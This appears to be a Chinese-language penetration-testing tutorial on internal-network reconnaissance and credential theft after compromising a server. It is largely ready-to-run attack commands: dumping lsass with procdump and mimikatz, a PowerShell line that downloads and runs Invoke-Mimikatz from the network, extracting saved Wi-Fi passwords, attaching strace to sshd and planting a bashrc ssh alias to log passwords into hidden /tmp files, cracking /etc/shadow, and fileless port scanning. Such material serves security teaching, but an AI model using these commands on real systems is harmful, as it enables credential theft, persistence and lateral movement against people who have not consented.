内网服务器如何进行信息收集
本机信息收集:1.查询账户信息2.查询网络和端口信息3.查询进程列表4.查询系统和补丁信息5.凭证收集。域内信息收集:1.判断是否有域2.查找域管理员3.找到域控。登录凭证窃取:Windows下登录凭证窃取;Linux下登录凭证窃取技巧。存活主机探测。内网端口扫描。
渗透测试的本质是信息收集,我们可以将内网信息收集大致分为5个步骤,即本机信息收集、域内信息收集、登录凭证窃取、存活主机探测、内网端口扫描。
本机信息收集
1.查询账户信息:
对当前主机的用户角色和用户权限做了解,判断是否需要进一步提升权限。
win:whoami、net user 用户名
linux:whoami、id、cat /etc/shadow、cat /etc/passwd
2.查询网络和端口信息
根据目的主机的IP地址/网络连接/相关网络地址,确认所连接的网络情况。
win:ipconfig、netstat -ano
ARP表:arp -a
路由表: route print
查看dns缓存记录命令:ipconfig/displaydns
linux:ifconfig、netstat -anplt
ARP表:arp -a / 路由表:route -n
查看登录日志获取登录来源ip
3.查询进程列表
查看本地运行的所有进程,确认本地软件运行情况,重点可以关注安全软件。
win:tasklist
linux: ps、 top
4.查询系统和补丁信息
获取当前主机的系统版本和补丁更新情况,可用来辅助提升权限。
win:systeminfo,查询系统信息/补丁安装情况。
wmic qfe get Caption,description,HotfixID,installedOn //查询补丁信息,包含说明链接/补丁描述/KB编号/更新时间等信息
wmic qfe list full 查询全部信息
Linux: 通过查看内核版本 uname -a 或者使用rpm -qa来查询安装了哪些软件包
5.凭证收集
服务器端存有敏感信息,通过收集各种登录凭证以便扩大战果。
Windows: 本地密码Hash和明文密码/抓取浏览器密码/服务端明文密码
linux:history记录敏感操作/shadow文件破解/mimipenguin抓取密码/使用Strace收集登录凭证/全盘搜索敏感信息
域内信息收集
搜集完本机相关信息后,就需要判断当前主机是否在域内,如果在域内,就需要进一步收集域内信息
1.判断是否有域
一般域服务器都会同时作为时间服务器,所以使用下面命令判断主域
运行 net time /domain 该命令后,一般会有如下三种情况:
1.存在域,但当前用户不是域用户,提示说明权限不够
C:\Users>bypass>net time /domain
发生系统错误 5
拒绝访问。
2.存在域,并且当前用户是域用户
C:\Users\Administrator>net time /domain
\\dc.test.com 的当前时间是 2020/10/23 21:18:37
命令成功完成。
3.当前网络环境为工作组,不存在域
C:\Users\Administrator>net time /domain
找不到域 WORKGROUP 的域控制器。
2.查找域管理员
net user /domain //获取域用户列表
net group /domain //查询域内所有用户组列表
net group “Domain Admins” /domain //查询域管理员用户
net group "Domain Controllers" /domain //查看域控制器
net localgroup administrators /domain //查询域内置本地管理员组用户
3.找到域控
nslookup/ping 域名,解析到域控服务器IP地址
登录凭证窃取
Windows下登录凭证窃取
1、Windows 本地密码Hash
Windows的系统密码hash默认情况下一般由两部分组成:第一部分是LM-hash,第二部分是NTLM-hash。Windows系统下hash密码格式用户名称
例如:
Administrator:500:AF01DF70036EBACFAAD3B435B51404EE:44F077E27F6FEF69E7BD834C7242B040
用户名称为:Administrator
RID为:500
LM-HASH值为:AF01DF70036EBACFAAD3B435B51404EE
NT-HASH值为:44F077E27F6FEF69E7BD834C7242B040
破解方式一:hash在线破解网站:
https://www.objectif-securite.ch/ophcrack
http://cmd5.com
mimikatz使用起来也非常简单,提取Windows系统的明文密码只需两行命令:
privilege::debug
破解方式三:wce
wce的常用参数使用说明如下:
参数解释:
-l 列出登录的会话和NTLM凭据(默认值)
-s 修改当前登录会话的NTLM凭据 参数:<用户名>:<域名>:<LM哈希>:<NT哈希>
-w 通过摘要式认证缓存一个明文的密码
破解方式四:Powershell+mimikatz
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
破解方式五:prodump+mimikatz
procdump是微软官方提供的一个小工具
微软官方下载地址:<https://technet.microsoft.com/en-us/sysinternals/dd996900>
# 将工具拷贝到目标机器上执行如下命令(需要管理员权限,我选择的版本是64位)
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# 将生成的内存dump文件拷贝到mimikatz同目录下,双击打开mimikatz执行情况如图:
mimikatz # sekurlsa::minidump lsass.dmp
# Switch to MINIDUMP
mimikatz # sekurlsa::logonPasswords full
2、抓取浏览器密码
很多浏览器都提供了记住密码的功能,用户在登录一些网站的时候会选择记住密码。
LaZagne:提取浏览器所保存的密码
github项目地址:https://github.com/AlessandroZ/LaZagne
3、服务端明文密码
在一些配置文件或日志里,明文记录着敏感的密码信息,如web.config、config.ini等文件,可通过手动翻查敏感目录,也可以通过findstr命令来查找敏感文件和内容。
findstr /i /s "password" *.config
findstr /i /s "password" *.ini
findstr /i /s "password" *.xml
4、第三方运维工具托管密码
常见的有Linux运维工具,如Putty、xshell、winscp等,RDP管理工具,Remote Desktop Organizer,远控软件:Teamviewer、向日葵、VNC等。
xshell 密码解密工具:https://github.com/dzxs/Xdecrypt
提取WinSCP,PuTTY等保存的会话信息:https://github.com/Arvanaghi/SessionGopher
从内存中提权TeamViewer密码的工具:https://github.com/attackercan/teamviewer-dumper
5、查看电脑wifi密码
# 查看电脑连接过的所有wifi
netsh wlan show profiles
# 查看wifi信号为Aaron的密码
netsh wlan show profiles name="Aaron" key=clear
# CMD一键获取 所有连接过的WIFI密码
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
Linux下登录凭证窃取技巧
01、history记录敏感操作
Linux系统会自动把用户的操作命令记录到历史列表中,当用户在命令行中输入账号、密码进行登录时,将会导致敏感信息泄露。
02、shadow文件破解
shadow用于存储 Linux 系统中用户的密码信息,以一个用例来说明:
root:$1$aXmGMjXX$MGrR.Hquwr7UVMwOGOzJV0:99999
密码域密文由三部分组成,即:idsalt$encrypted。当id=1,采用md5进行加密,弱口令容易被破解。
当id为5时,采用SHA256进行加密,id为6时,采用SHA512进行加密,可以通过john进行暴力破解。
wget https://www.openwall.com/john/k/john-1.9.0.tar.gz
tar -zxvf john-1.9.0.tar.gz
make clean linux-x86-64
./john /etc/shadow
03、mimipenguin抓取密码
一款Linux下的密码抓取神器,需要root权限运行,通过转储进程并提取很可能包含明文密码的行来利用内存中的明文凭证,目前支持Kali、Ubnutu等操作系统。
https://github.com/huntergregal/mimipenguin
04、使用Strace收集登录凭证
strace是一个动态跟踪工具,堪比键盘记录器的存在,可用来收集登录凭证。
(1)获取sshd进程明文密码
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
使用正在来匹配用户和密码
# 查找用户名和密码
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log
# 结果形式如下
[pid 2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9
[pid 2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27
[pid 2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
(2)收集ssh登陆凭证
# 添加命令别名
vi ~/.bashrc或者/etc/bashrc
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
# 使命令别名立即生效
source ~/.bashrc
通过grep 找到匹配行的后8行,可以根据密码长度调整行数
grep -A 9 'password' .ssh-25Sep091601017212.log
05、tcpdump 抓包分析
抓取数据包进行分析,获取明文账号密码,比如ftp、telnet、http。
tcpdump -i ens33 port 23 -w test.cap
06、全盘搜索敏感信息
全局搜索配置文件、脚本、数据库、日志文件是否有包含密码。
grep -rn "password=" /
07、swap_digger
一个用于自动进行Linux交换分析bash脚本,自动进行交换提取,并搜索Linux用户凭据,Web表单凭据,Web表单电子邮件,HTTP基本身份验证,WiFi SSID和密钥等。
github项目收集:
https://github.com/sevagas/swap_digger
08、Impost3r
一个利用C语言编写,用来窃取linux下各类密码(ssh,su,sudo)的工具。
github项目收集:
https://github.com/ph4ntonn/Impost3r
存活主机探测
在渗透中,当我们拿下一台服务器作为跳板机进一步进行内网渗透时,往往需要通过主机存活探测和端口扫描来收集内网资产。
我们将主机扫描的场景大致可分为三种,1)直接在webshell下执行,通过系统自带命令或上传脚本工具进行扫描探测 ;2)通过反弹shell进行内网渗透,msf等渗透测试框架自带一些扫描模块;3)通过socks代理扫描内网(例如 proxychains+Nmap扫描)。
在合适的场景下,选择最合适的武器。比如支持存活探测的协议,包括了 ARP、ICMP、SMB、 UDP、NETBIOS、SNMP协议等;支持端口扫描的方式,包括ACK扫描、SYN扫描、TCP扫描、UDP扫描、ICMP扫描等。
01.ping
我们经常通过ping检查网络连通性,通过telnet来测试指定端口连通性。使用系统自带的命令来完成C段探测,虽然效率低,但不容易触发安全规则。如果服务器开启了防火墙或者禁ping,那么就会影响探测结果。
Windows下使用ping命令扫描C段:
for /l %i in (1,1,255) do @ping 192.168.64.%i -w 1 -n 1|find /i "ttl="
Linux 下使用ping命令扫描C段:
for k in $( seq 1 255);do ping -c 1 192.168.99.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
另外,还可以结合系统自带的traceroute、arp 、netstat等命令收集内网信息,curl、wget可以用来做端口探测。
2.Powershell
通过powershell脚本扫描IP地址存活:
powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1;Invoke-TSPingSweep -StartAddress 192.168.1.0 -EndAddress 192.168.1.255"
脚本下载地址:https://gallery.technet.microsoft.com/scriptcenter/Invoke-TSPingSweep-b71f1b9b
用PowerShell实现基本的端口扫描功能。
针对单个IP的多个端口的扫描:
PS C:\Users\Bypass> 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.246.44",$_)) "Port $_ is open!"} 2>$null
针对某IP段中单个端口的扫描:
foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.1.$ip}
针对某IP段 & 多个端口的扫描器
1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$null}
3.基于MSF的内网主机探测
使用msf进行反弹shell进行内网渗透时,通过msf自带的扫描模块进行快速扫描。
主机存活探测:
auxiliary/scanner/discovery/arp_sweep ARP扫描
auxiliary/scanner/discovery/udp_sweep UDP扫描
auxiliary/scanner/netbios/nbname NETBIOS扫描
auxiliary/scanner/snmp/snmp_enum SNMP扫描
auxiliary/scanner/smb/smb_version SMB扫描
端口扫描:
auxiliary/scanner/portscan/ack TCP ACK端口扫描
auxiliary/scanner/portscan/ftpbounce FTP bounce端口扫描
auxiliary/scanner/portscan/syn SYN端口扫描
auxiliary/scanner/portscan/tcp TCP端口扫描
auxiliary/scanner/portscan/xmas TCP XMas端口扫描
04、Nmap
Nmap是一个端口扫描器,可用于主机发现、端口扫描、版本检测、OS检测等。
使用场景:建立socks代理,proxychains+Nmap扫描内网。
支持多种扫描模式:
-sT: TCP 扫描
-sS: SYN 扫描
-sA: ACK 扫描
-sF:FIN扫描
-sU: UDP 扫描
-sR: RPC 扫描
-sP: ICMP扫描
快速扫描所有端口:
nmap -sS -p 1-65535 -v 192.168.99.177
内网端口扫描
1、利用telnet进行端口扫描
快速探测主机是否存在常见的高危端口
telnet 192.168.0.2 22 telnet 192.168.0.2 3306
2、Metasploit端口扫描
Metasploit渗透测试利器,提供了很多漏洞利用、扫描功能。
auxiliary/scanner/portscan/ack ACK防火墙扫描
auxiliary/scanner/portscan/ftpbounce FTP跳端口扫描
auxiliary/scanner/portscan/syn SYN端口扫描
auxiliary/scanner/portscan/tcp TCP端口扫描
使用auxiliary/scanner/portscan/tcp模块示例
use auxiliary/scanner/portscan/tcp
show options
3、PowerSploit的Invoke-portscan.ps1
无文件形式扫描:
powershell.exe -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports ‘445,1433,80,8080,3389’ -oA c:\ProgramData\ip_info”
4、Nishang的Invoke-PortScan模块
获取帮助
Get-Help Invoke-PortScan -full
StartAddress 扫描范围开始地址
EndAddress 扫描范围结束地址
ScanPort 进行端口扫描
Port 指定扫描端口,不指定port,则默认端口为 21,22,23,53,69,71,80,98,110,139,111, 389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389, 5801,5900,5555,5901
TimeOut 设置超时时间
-ResolveHost 解析主机名
扫描存活主机及端口并解析主机名
使用方式
Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.10.254 -ResolveHost -ScanPort
5、Nmap
https://www.cnblogs.com/iAmSoScArEd/p/10585863.html
6、端口利用
具体信息及利用速查 :https://www.cnblogs.com/iAmSoScArEd/p/10564262.html
根据banner信息,可以在CVE库对指定服务、版本进行漏洞查询
或使用Exploit-DB查询PoC、EXP